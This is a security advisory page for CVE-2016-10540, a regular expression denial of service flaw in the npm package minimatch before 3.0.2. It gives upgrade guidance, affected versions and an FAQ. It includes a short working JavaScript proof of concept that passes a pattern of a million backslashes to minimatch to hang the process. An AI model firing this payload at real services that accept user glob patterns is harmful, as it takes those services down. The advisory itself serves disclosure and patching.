CVE-2016-10540: Input Validation
First published: Thu May 31 2018(Updated: )
Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.
Credit: support@hackerone.com support@hackerone.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| npm/minimatch | <3.0.2 | 3.0.2 |
| Minimatch Project Minimatch Node.js | <=3.0.1 | |
| <=10.0 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
Frequently Asked Questions
What is the vulnerability ID?
The vulnerability ID is CVE-2016-10540.
What is the severity rating of CVE-2016-10540?
CVE-2016-10540 has a severity rating of 7.5 (high).
What is the affected software for CVE-2016-10540?
The affected software for CVE-2016-10540 is minimatch.
How is minimatch vulnerable to denial of service attacks?
Minimatch is vulnerable to denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.
How can I fix CVE-2016-10540?
To fix CVE-2016-10540, update minimatch to version 3.0.2.
- collector/github-advisory-latest
- alias/GHSA-hxm2-r34f-qmc5
- alias/CVE-2016-10540
- collector/github-advisory
- agent/author
- agent/type
- agent/first-publish-date
- agent/last-modified-date
- collector/nvd-index
- agent/software-canonical-lookup-request
- collector/nvd-cve
- agent/severity
- agent/weakness
- agent/references
- agent/description
- collector/ibm-support
- source/IBM
- agent/software-canonical-lookup
- agent/softwarecombine
- agent/tags
- agent/event
- package-manager/npm
- vendor/minimatch project
- canonical/minimatch project minimatch node.js
- version/minimatch project minimatch node.js/3.0.1
- vendor/ibm
- canonical/ibm security verify governance
- version/ibm security verify governance/10.0